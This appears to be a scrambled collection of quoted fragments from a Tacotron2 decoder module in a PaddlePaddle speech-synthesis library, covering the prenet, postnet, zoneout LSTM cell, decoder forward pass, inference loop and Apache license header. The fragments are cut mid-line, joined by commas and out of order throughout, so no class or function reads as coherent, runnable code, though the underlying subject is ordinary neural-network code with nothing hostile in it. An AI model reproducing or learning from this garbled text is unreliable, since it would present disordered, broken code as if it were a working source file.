Cell module. This", "This is a module of zoneout described in `Zoneout: Regularizing", "agreed to in writing, software # distributed under the License", "filter size. n_units : int, optional The number of filter", "iunits, odim * reduction_factor, bias_attr=False) self.prob_out = nn.Linear(iunits, reduction_factor) #", "to 1.0 and the length of input is 10, the", "distributed under the License is distributed on an \"AS IS\"", "WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self, idim,", "if layer == n_layers - 1 else n_chans if use_batch_norm:", "att nn.Layer Instance of attention class. dlayers int, optional The", "tensors after postnet (B, Lmax, odim). Tensor Batch of output", "length list should be list of int # hlens =", "odim, Lmax) before_outs = paddle.concat(outs, axis=2) # (B, Lmax, Tmax)", "Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related modules.\"\"\" import paddle import", "odim, r), ...] outs += [self.feat_out(zcs).reshape([1, self.odim, -1])] # [(r),", "self.prenet = Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, ) else: self.prenet", "[att_w] # teacher forcing prev_out = y if self.cumulate_att_w and", "T). Note ---------- This computation is performed in auto-regressive manner.", "only use the second output of LSTMCell in paddle _,", "the detail sturcture of spectrogram. .. _`Natural TTS Synthesis by", "\"\"\"Prenet module for decoder of Spectrogram prediction network. This is", "postnet (B, Lmax, odim). Tensor Batch of output tensors before", "\"\"\"Calculate forward propagation. Parameters ---------- x : Tensor Batch of", "propagation. Parameters ---------- x : Tensor Batch of input tensors", "self.att.reset() # loop for an output sequence att_ws = []", "[self._zero_state(hs)] z_list = [self._zero_state(hs)] for _ in six.moves.range(1, len(self.lstm)): c_list", "This computation is performed in auto-regressive manner. .. _`Deep Voice", "not None: prev_out = self.output_activation_fn( outs[-1][:, :, -1]) # (1,", "in paddle return next_hidden[0], next_hidden def _zoneout(self, h, next_h, prob):", "Spectrogram prediction network in Tacotron2, which described in `Natural TTS", "nn.Linear(iunits, reduction_factor) # initialize # self.apply(decoder_init) def _zero_state(self, hs): init_hs", "probabilities (L,). Tensor Attention weights (L, T). Note ---------- This", "= nn.LayerList() for layer in six.moves.range(n_layers): n_inputs = idim if", "dropout_rate=dropout_rate, ) else: self.postnet = None # define projection layers", "_zero_state(self, hs): init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs def forward(self,", "2]): if self.use_att_extra_inputs: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w,", "of decoder lstm layers. dunits : int, optional The number", "= nn.LayerList() for layer in six.moves.range(dlayers): iunits = idim +", "calculate_all_attentions(self, hs, hlens, ys): \"\"\"Calculate all of the attention weights.", "__init__(self, idim, n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet module. Parameters ----------", "of decoder of Spectrogram prediction network in Tacotron2, which described", "self.output_activation_fn(outs) return outs, probs, att_ws def calculate_all_attentions(self, hs, hlens, ys):", "forcing prev_out = y if self.cumulate_att_w and prev_att_w is not", "error when use += prev_att_w = prev_att_w + att_w else:", "of input is 10, the minimum length of outputs will", "module of zoneout described in `Zoneout: Regularizing RNNs by Randomly", "odim self.lstm = nn.LayerList() for layer in six.moves.range(dlayers): iunits =", "under the License. # Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related", "is a module of Prenet in the decoder of Spectrogram", "states (B, hidden_size). Returns ---------- Tensor Batch of next hidden", "zone out cell module. Parameters ---------- cell : nn.Layer: Paddle", "idim, odim, att, dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5,", "of prenet layers. prenet_units : int, optional The number of", "Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_. The Prenet", ": nn.Layer: Paddle recurrent cell module e.g. `paddle.nn.LSTMCell`. zoneout_rate :", "attention constraint if use_att_constraint: last_attended_idx = 0 else: last_attended_idx =", "= odim if layer == n_layers - 1 else n_chans", "when use += else: prev_att_w = att_w # (B, Lmax)", "OR CONDITIONS OF ANY KIND, either express or implied. #", "optional Reduction factor. \"\"\" super().__init__() # store the hyperparameters self.idim", "Returns ---------- numpy.ndarray Batch of attention weights (B, Lmax, Tmax).", "n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else: self.postnet = None", "= before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1]) if self.postnet is not None:", "the License is distributed on an \"AS IS\" BASIS, #", "n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.BatchNorm1D(ochans),", "size. n_units : int, optional The number of filter channels.", "# decoder calculation if self.use_att_extra_inputs: att_c, att_w = self.att( hs,", "self.output_activation_fn is not None: before_outs = self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs)", "of attention weights (B, Lmax, Tmax). Note ---------- This computation", "(B, odim, Lmax) before_outs = before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1]) if", "is not None: outs = self.output_activation_fn(outs) return outs, probs, att_ws", "(paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1]) # [(1, odim,", "for i in six.moves.range(len(self.prenet)): # F.dropout 引入了随机, tacotron2 的 dropout", "This computation is performed in teacher-forcing manner. \"\"\" # thin", "of padded output tensor. (B, odim, Tmax). \"\"\" for i", "att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w, prev_out) else: att_c,", "+= [self.feat_out(zcs).reshape([1, self.odim, -1])] # [(r), ...] probs += [F.sigmoid(self.prob_out(zcs))[0]]", "Batch of attention weights (B, Lmax, Tmax). Note ---------- This", "output tensors (B, ..., odim). \"\"\" for i in six.moves.range(len(self.prenet)):", "length of outputs will be 10 * 1 = 10.", "[], [], [] while True: # updated index idx +=", "ys = ys[:, self.reduction_factor - 1::self.reduction_factor] # length list should", "law or agreed to in writing, software # distributed under", "super().__init__() self.dropout_rate = dropout_rate self.prenet = nn.LayerList() for layer in", "- prob) * next_h class Decoder(nn.Layer): \"\"\"Decoder module of Spectrogram", "y in ys.transpose([1, 0, 2]): if self.use_att_extra_inputs: att_c, att_w =", "hidden states (B, hidden_size). tuple: - Tensor: Batch of next", "bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D(", "padded Batch of lengths of each input batch (B,). ys", "hlens, ys): \"\"\"Calculate forward propagation. Parameters ---------- hs : Tensor", "layer == n_layers - 1 else n_chans if use_batch_norm: self.postnet.append(", "decoder module. Parameters ---------- idim : int Dimension of the", "Batch of output tensors (B, ..., odim). \"\"\" for i", "bool, optional Whether to concatenate encoder embedding with decoder lstm", "reduction_factor # check attention type if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs =", "layers. prenet_units : int, optional The number of prenet units.", "xs = paddle.concat([att_c, prenet_out], axis=1) # we only use the", "decoder lstm outputs. dropout_rate : float, optional Dropout rate. zoneout_rate", "if self.prenet is not None else prev_out xs = paddle.concat([att_c,", "c_list[0])) z_list[0], c_list[0] = next_hidden for i in six.moves.range(1, len(self.lstm)):", ": Tensor(int64) Batch of lengths of each input batch (B,).", "1: ys = ys[:, self.reduction_factor - 1::self.reduction_factor] # length list", "x class Postnet(nn.Layer): \"\"\"Postnet module for Spectrogram prediction network. This", "else: self.prenet = None # define postnet if postnet_layers >", "if zoneout_rate > 1.0 or zoneout_rate < 0.0: raise ValueError(", "c_list[i] = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) # teacher forcing", "may obtain a copy of the License at # #", "odim : int Dimension of the outputs. att nn.Layer Instance", "the hyperparameters self.idim = idim self.odim = odim self.att =", "= cell self.hidden_size = cell.hidden_size self.zoneout_rate = zoneout_rate if zoneout_rate", "import AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet module for decoder of Spectrogram", "rate.. \"\"\" super().__init__() self.postnet = nn.LayerList() for layer in six.moves.range(n_layers", "output sequence outs, logits, att_ws = [], [], [] for", "int, optional The number of prenet units. postnet_layers : int,", "idim). hlens : Tensor(int64) padded Batch of lengths of each", "Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1) if self.reduction_factor > 1:", "# updated index idx += self.reduction_factor # decoder calculation if", "of logits of stop prediction (B, Lmax). Tensor Batch of", "before input to auto-regressive lstm, which helps to learn diagonal", "n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize postnet module. Parameters", "att_c, att_w = self.att( hs, ilens, z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx,", "may not use this file except in compliance with the", "None self.att.reset() # loop for an output sequence att_ws =", "if self.use_att_extra_inputs: att_c, att_w = self.att( hs, ilens, z_list[0], prev_att_w,", "1: # (B, odim, Lmax) before_outs = before_outs.reshape( [paddle.shape(before_outs)[0], self.odim,", "number of decoder lstm units. prenet_layers : int, optional The", "use_concate self.reduction_factor = reduction_factor # check attention type if isinstance(self.att,", "import nn from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet module", "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. #", "an output sequence idx = 0 outs, att_ws, probs =", "z_list[i], c_list[i] = next_hidden zcs = (paddle.concat([z_list[-1], att_c], axis=1) if", "\"\"\" # we only use the second output of LSTMCell", "this file except in compliance with the License. # You", "float, optional Minimum length ratio. If set to 10 and", "of the decoder, which helps to compensate the detail sturcture", "---------- h : Tensor Input sequence of encoder hidden states", "input tensors (B, idim, Tmax). Returns ---------- Tensor Batch of", "att_w = self.att(hs, hlens, z_list[0], prev_att_w) att_ws += [att_w] prenet_out", "zcs = (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1]) outs", "prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) att_ws += [att_w] prenet_out =", "optional The number of decoder lstm layers. dunits : int,", "use_concate else dunits self.feat_out = nn.Linear( iunits, odim * reduction_factor,", "__init__( self, idim, odim, att, dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5,", "): \"\"\"Generate the sequence of features given the sequences of", "# # Licensed under the Apache License, Version 2.0 (the", "int Dimension of the outputs. att nn.Layer Instance of attention", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", ": int, optional The number of filter channels. use_batch_norm :", "`paddle.nn.LSTMCell`. zoneout_rate : float, optional Probability of zoneout from 0.0", "lengths of each input batch (B,). ys : Tensor Batch", "\"\"\" def __init__( self, idim, odim, n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5,", "filter size. postnet_chans : int, optional The number of postnet", "from `eladhoffer/seq2seq.pytorch`_. Examples ---------- >>> lstm = paddle.nn.LSTMCell(16, 32) >>>", "states (B, Tmax, idim). hlens : Tensor(int64) padded Batch of", "n_units), nn.ReLU())) def forward(self, x): \"\"\"Calculate forward propagation. Parameters ----------", "(1, odim) else: prev_out = outs[-1][:, :, -1] # (1,", "+= [att_w] prenet_out = self.prenet( prev_out) if self.prenet is not", "self.hidden_size = cell.hidden_size self.zoneout_rate = zoneout_rate if zoneout_rate > 1.0", "else odim if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts,", "] logits += [self.prob_out(zcs)] att_ws += [att_w] # teacher forcing", "TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_. The", "after_outs, before_outs, logits, att_ws def inference( self, h, threshold=0.5, minlenratio=0.0,", "postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ):", "not None: # Note: error when use += prev_att_w =", "which described in `Natural TTS Synthesis by Conditioning WaveNet on", "https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize", "layers. postnet_filts : int, optional The number of postnet filter", "of the inputs. odim : int Dimension of the outputs.", "- 1], (z_list[i], c_list[i])) # teacher forcing prev_out = y", "of Spectrogram prediction network in Tacotron2, which described in `Natural", "outputs. cumulate_att_w : bool, optional Whether to cumulate previous attention", "Output sequence of stop probabilities (L,). Tensor Attention weights (L,", "tuple: - Tensor: Batch of next hidden states (B, hidden_size).", "outputs will be 10 * 10 = 100. use_att_constraint :", "(B, Lmax, odim). Returns ---------- Tensor Batch of output tensors", "next_hidden = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) z_list[i], c_list[i] =", "to use batch normalization.. dropout_rate : float, optional Dropout rate..", "n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet module. Parameters ---------- idim : int", "of Spectrogram prediction network, which described in `Natural TTS Synthesis", "on Mel Spectrogram Predictions`_. The decoder generates the sequence of", "input is 10, the minimum length of outputs will be", "= 0 else: last_attended_idx = None # loop for an", "padded target features (B, Lmax, odim). Returns ---------- numpy.ndarray Batch", "or implied. # See the License for the specific language", "prev_att_w = att_w # (B, Lmax) logits = paddle.concat(logits, axis=1)", "threshold : float, optional Threshold to stop generation. minlenratio :", "att_w if use_att_constraint: last_attended_idx = int(att_w.argmax()) # check whether to", "states (B, hidden_size). - Tensor: Batch of initial cell states", "> 0: self.prenet = Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, )", "= nn.LSTMCell(iunits, dunits) if zoneout_rate > 0.0: lstm = ZoneOutCell(lstm,", "with LSTMCell in paddle return next_hidden[0], next_hidden def _zoneout(self, h,", "states (B, hidden_size). tuple: - Tensor: Batch of next hidden", "self.use_att_extra_inputs: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w, prev_out) else:", "att_ws = [] for y in ys.transpose([1, 0, 2]): if", "Lmax, odim). Tensor Batch of output tensors before postnet (B,", "Tensor Output sequence of features (L, odim). Tensor Output sequence", "= None # define projection layers iunits = idim +", "cumulate_att_w self.use_concate = use_concate self.reduction_factor = reduction_factor # check attention", "logits = paddle.concat(logits, axis=1) # (B, odim, Lmax) before_outs =", "class Prenet(nn.Layer): \"\"\"Prenet module for decoder of Spectrogram prediction network.", "c_list[0] = next_hidden for i in six.moves.range(1, len(self.lstm)): # we", "padded target features (B, Lmax, odim). Returns ---------- Tensor Batch", "batch normalization.. dropout_rate : float, optional Dropout rate.. \"\"\" super().__init__()", "tacotron2 的 dropout 是不能去掉的 x = F.dropout(self.prenet[i](x)) return x class", "Batch of input tensors (B, ..., idim). Returns ---------- Tensor", "RNNs by Randomly Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch", "odim) after_outs = after_outs.transpose([0, 2, 1]) logits = logits #", "use += prev_att_w = prev_att_w + att_w else: prev_att_w =", "self.output_activation_fn is not None: prev_out = self.output_activation_fn( outs[-1][:, :, -1])", "of each input batch (B,). ys : Tensor Batch of", ": int Backward window size in attention constraint. forward_window :", "we only use the second output of LSTMCell in paddle", "= None self.att.reset() # setup for attention constraint if use_att_constraint:", "= ys[:, self.reduction_factor - 1::self.reduction_factor] # length list should be", "1 else odim if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim,", "def _zero_state(self, hs): init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs def", "zcs = (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1]) #", "prenet module. Parameters ---------- idim : int Dimension of the", "odim, L) outs = paddle.concat(outs, axis=2) if self.postnet is not", "if prenet_layers > 0: self.prenet = Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units,", "None else prev_out xs = paddle.concat([att_c, prenet_out], axis=1) # we", "[self._zero_state(hs)] prev_out = paddle.zeros([1, self.odim]) # initialize attention prev_att_w =", "L) outs = outs + self.postnet(outs) # (L, odim) outs", "of filter size. n_units : int, optional The number of", "prenet_units = prenet_units if prenet_layers != 0 else odim self.lstm", "of output tensors after postnet (B, Lmax, odim). Tensor Batch", "1]) # (B, Lmax, odim) after_outs = after_outs.transpose([0, 2, 1])", "hidden_size). - Tensor: Batch of next cell states (B, hidden_size).", "def inference( self, h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None,", "0: self.prenet = Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, ) else:", "Tensor: Batch of next cell states (B, hidden_size). \"\"\" #", "Postnet in Spectrogram prediction network, which described in `Natural TTS", "the length of input is 10, the maximum length of", "dunits) if zoneout_rate > 0.0: lstm = ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm)", "self.att( hs, ilens, z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, )", "self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ] logits += [self.prob_out(zcs)] att_ws += [att_w]", "optional The number of decoder lstm units. prenet_layers : int,", "Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim, att,", "odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else: self.postnet =", "(B,). ys : Tensor Batch of the sequences of padded", "* h + (1 - mask) * next_h else: return", "number of filter size. n_units : int, optional The number", "axis=2) # (B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1) if", "def forward(self, hs, hlens, ys): \"\"\"Calculate forward propagation. Parameters ----------", "C). threshold : float, optional Threshold to stop generation. minlenratio", "nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def forward(self, x): \"\"\"Calculate forward propagation. Parameters", "n_chans if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1,", "odim self.att = att self.output_activation_fn = output_activation_fn self.cumulate_att_w = cumulate_att_w", "-1]) if self.postnet is not None: # (B, odim, Lmax)", "n_units : int, optional The number of prenet units. \"\"\"", "self.prenet is not None else prev_out xs = paddle.concat([att_c, prenet_out],", "dropout_rate self.prenet = nn.LayerList() for layer in six.moves.range(n_layers): n_inputs =", "Returns ---------- Tensor Batch of next hidden states (B, hidden_size).", "the hidden states. .. _`Natural TTS Synthesis by Conditioning WaveNet", "next_hidden zcs = (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate else z_list[-1])", "range(num_h)]) if self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return mask", "else: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w) att_ws +=", "_, next_hidden = self.cell(inputs, hidden) next_hidden = self._zoneout(hidden, next_hidden, self.zoneout_rate)", "layers. n_units : int, optional The number of prenet units.", "outs, logits, att_ws = [], [], [] for y in", "inputs. odim : int Dimension of the outputs. att nn.Layer", "paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return mask * h + (1 -", "module of Spectrogram prediction network. This is a module of", "[self.prob_out(zcs)] att_ws += [att_w] # teacher forcing prev_out = y", "__init__( self, idim, odim, n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True, ):", "in `Natural TTS Synthesis by Conditioning WaveNet on Mel Spectrogram", "ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) # define prenet if prenet_layers > 0:", "self.lstm.append(lstm) # define prenet if prenet_layers > 0: self.prenet =", "prediction (B, Lmax). Tensor Batch of attention weights (B, Lmax,", "of postnet filter channels. output_activation_fn : nn.Layer, optional Activation function", "states. .. _`Natural TTS Synthesis by Conditioning WaveNet on Mel", "self.cumulate_att_w = cumulate_att_w self.use_concate = use_concate self.reduction_factor = reduction_factor #", "self.att(hs, hlens, z_list[0], prev_att_w, prev_out) else: att_c, att_w = self.att(hs,", "ichans = n_chans if n_layers != 1 else odim if", "Cell module. This is a module of zoneout described in", "Lmax, odim). Returns ---------- Tensor Batch of output tensors after", "postnet layers. postnet_filts : int, optional The number of postnet", "to 10 and the length of input is 10, the", "idim : int Dimension of the inputs. odim : int", "= paddle.concat([att_c, prenet_out], axis=1) # we only use the second", "int, optional The number of decoder lstm units. prenet_layers :", "in the range from 0.0 to 1.0.\") def forward(self, inputs,", "Tensor: Batch of initial cell states (B, hidden_size). Returns ----------", "- Tensor: Batch of initial cell states (B, hidden_size). Returns", "in `Zoneout: Regularizing RNNs by Randomly Preserving Hidden Activations`_. This", "# check mininum length if idx < minlen: continue #", "= nn.Linear(iunits, reduction_factor) # initialize # self.apply(decoder_init) def _zero_state(self, hs):", "att_ws += [att_w] # teacher forcing prev_out = y if", "z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) else: att_c, att_w", "self.cell = cell self.hidden_size = cell.hidden_size self.zoneout_rate = zoneout_rate if", "prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize attention prev_att_w = None", "+= [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ] logits += [self.prob_out(zcs)] att_ws", "att_w = self.att(hs, hlens, z_list[0], prev_att_w) prenet_out = self.prenet( prev_out)", "reduction_factor : int, optional Reduction factor. \"\"\" super().__init__() # store", "* next_h else: return prob * h + (1 -", "cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize Tacotron2 decoder", "float, optional Zoneout rate. reduction_factor : int, optional Reduction factor.", ": bool, optional Whether to use batch normalization.. dropout_rate :", "axis=0) break if self.output_activation_fn is not None: outs = self.output_activation_fn(outs)", "in writing, software # distributed under the License is distributed", "is performed in auto-regressive manner. .. _`Deep Voice 3`: https://arxiv.org/abs/1710.07654", "hyperparameters self.idim = idim self.odim = odim self.att = att", "Predictions`_. The Postnet predicts refines the predicted Mel-filterbank of the", "of lengths of each input batch (B,). ys : Tensor", "threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None, ): \"\"\"Generate the sequence", "is not None: prev_out = self.output_activation_fn( outs[-1][:, :, -1]) #", "while True: # updated index idx += self.reduction_factor # decoder", "# (B, odim, Lmax) after_outs = before_outs + self.postnet(before_outs) else:", "None self.att.reset() # setup for attention constraint if use_att_constraint: last_attended_idx", "probs = [], [], [] while True: # updated index", "number of layers. n_filts : int, optional The number of", "* reduction_factor, bias_attr=False) self.prob_out = nn.Linear(iunits, reduction_factor) # initialize #", "att_w # (B, Lmax) logits = paddle.concat(logits, axis=1) # (B,", "postnet_layers : int, optional The number of postnet layers. postnet_filts", "The number of decoder lstm layers. dunits : int, optional", "padded input tensors (B, idim, Tmax). Returns ---------- Tensor Batch", "for outputs. cumulate_att_w : bool, optional Whether to cumulate previous", "10 * 1 = 10. minlenratio : float, optional Minimum", "sequence of the hidden states. .. _`Natural TTS Synthesis by", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "self.odim, -1]) ] logits += [self.prob_out(zcs)] att_ws += [att_w] #", "License, Version 2.0 (the \"License\"); # you may not use", "0 else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def forward(self, x):", ": bool, optional Whether to use batch normalization. use_concate :", "0 else odim self.lstm = nn.LayerList() for layer in six.moves.range(dlayers):", "last_attended_idx = None # loop for an output sequence idx", "optional The number of prenet layers. n_units : int, optional", "use_batch_norm : bool, optional Whether to use batch normalization. use_concate", "LSTMCell in paddle return next_hidden[0], next_hidden def _zoneout(self, h, next_h,", "prev_out = y if self.cumulate_att_w and prev_att_w is not None:", "if self.use_concate else z_list[-1]) outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1])", "n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet module. Parameters ---------- idim :", "* h + (1 - prob) * next_h class Decoder(nn.Layer):", "Postnet(nn.Layer): \"\"\"Postnet module for Spectrogram prediction network. This is a", "Batch of next hidden states (B, hidden_size). - Tensor: Batch", "padded output tensor. (B, odim, Tmax). \"\"\" for i in", "the outputs. att nn.Layer Instance of attention class. dlayers int,", "after_outs = self.output_activation_fn(after_outs) return after_outs, before_outs, logits, att_ws def inference(", "module for Spectrogram prediction network. This is a module of", "paddle import paddle.nn.functional as F import six from paddle import", "outs = outs + self.postnet(outs) # (L, odim) outs =", "Note ---------- This computation is performed in teacher-forcing manner. \"\"\"", "WaveNet on Mel Spectrogram Predictions`_. The decoder generates the sequence", "backward_window=None, forward_window=None, ): \"\"\"Generate the sequence of features given the", "the License for the specific language governing permissions and #", "of the hidden states. .. _`Natural TTS Synthesis by Conditioning", "Regularizing RNNs by Randomly Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`:", "batch (B,). ys : Tensor Batch of the sequences of", "\"\"\"Initialize prenet module. Parameters ---------- idim : int Dimension of", "super().__init__() self.postnet = nn.LayerList() for layer in six.moves.range(n_layers - 1):", "to compensate the detail sturcture of spectrogram. .. _`Natural TTS", "sequence idx = 0 outs, att_ws, probs = [], [],", "# define lstm network prenet_units = prenet_units if prenet_layers !=", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "+= [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim]) #", "= ZoneOutCell(lstm, 0.5) .. _`Zoneout: Regularizing RNNs by Randomly Preserving", "of stop probabilities (L,). Tensor Attention weights (L, T). Note", "outputs. dropout_rate : float, optional Dropout rate. zoneout_rate : float,", "self.att(hs, hlens, z_list[0], prev_att_w) prenet_out = self.prenet( prev_out) if self.prenet", "postnet filter size. postnet_chans : int, optional The number of", "number of prenet layers. prenet_units : int, optional The number", "window size in attention constraint. Returns ---------- Tensor Output sequence", "teacher forcing prev_out = y if self.cumulate_att_w and prev_att_w is", "Whether to apply attention constraint introduced in `Deep Voice 3`_.", "idx += self.reduction_factor # decoder calculation if self.use_att_extra_inputs: att_c, att_w", "= self.cell(inputs, hidden) next_hidden = self._zoneout(hidden, next_hidden, self.zoneout_rate) # to", "postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1, reduction_factor=1, ): \"\"\"Initialize", "= self.att( hs, ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, )", "https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim, att, dlayers=2, dunits=1024,", "3`_. backward_window : int Backward window size in attention constraint.", "use_att_constraint: last_attended_idx = int(att_w.argmax()) # check whether to finish generation", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "tuple([prob] * num_h) return tuple( [self._zoneout(h[i], next_h[i], prob[i]) for i", "self.att = att self.output_activation_fn = output_activation_fn self.cumulate_att_w = cumulate_att_w self.use_concate", "list(map(int, hlens)) # initialize hidden states of decoder c_list =", "= paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs def forward(self, hs, hlens, ys):", "layer == 0 else dunits lstm = nn.LSTMCell(iunits, dunits) if", "thin out frames (B, Lmax, odim) -> (B, Lmax/r, odim)", "define prenet if prenet_layers > 0: self.prenet = Prenet( idim=odim,", "(B, Lmax, odim) -> (B, Lmax/r, odim) if self.reduction_factor >", "Tensor: Batch of initial hidden states (B, hidden_size). - Tensor:", "before_outs = paddle.concat(outs, axis=2) # (B, Lmax, Tmax) att_ws =", "by Conditioning WaveNet on Mel Spectrogram Predictions`_. The decoder generates", "dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True,", "inputs. odim : int Dimension of the outputs. n_layers :", "network. This is a module of decoder of Spectrogram prediction", "Activations`_. This code is modified from `eladhoffer/seq2seq.pytorch`_. Examples ---------- >>>", "-1])] # [(r), ...] probs += [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is", "axis=0) att_ws = paddle.concat(att_ws, axis=0) break if self.output_activation_fn is not", "optional The number of prenet units. \"\"\" super().__init__() self.dropout_rate =", "# (B, odim, Lmax) before_outs = paddle.concat(outs, axis=2) # (B,", "z_list[0], prev_att_w, prev_out) else: att_c, att_w = self.att(hs, hlens, z_list[0],", "ichans, ochans, n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False,", "zoneout_rate < 0.0: raise ValueError( \"zoneout probability must be in", "for layer in six.moves.range(dlayers): iunits = idim + prenet_units if", "zoneout_rate : float, optional Zoneout rate. reduction_factor : int, optional", "input_size). hidden : tuple - Tensor: Batch of initial hidden", "# distributed under the License is distributed on an \"AS", "!= 0 else odim self.lstm = nn.LayerList() for layer in", "axis=1) if self.reduction_factor > 1: # (B, odim, Lmax) before_outs", "six.moves.range(1, len(self.lstm)): z_list[i], c_list[i] = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i]))", ":, -1] # (1, odim) if self.cumulate_att_w and prev_att_w is", "# Unless required by applicable law or agreed to in", "reduction_factor=1, ): \"\"\"Initialize Tacotron2 decoder module. Parameters ---------- idim :", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "before_outs, logits, att_ws def inference( self, h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0,", "of stop prediction (B, Lmax). Tensor Batch of attention weights", "= att_w if use_att_constraint: last_attended_idx = int(att_w.argmax()) # check whether", "will be 10 * 1 = 10. minlenratio : float,", "Parameters ---------- idim : int Dimension of the inputs. odim", "self.odim]) # initialize attention prev_att_w = None self.att.reset() # setup", 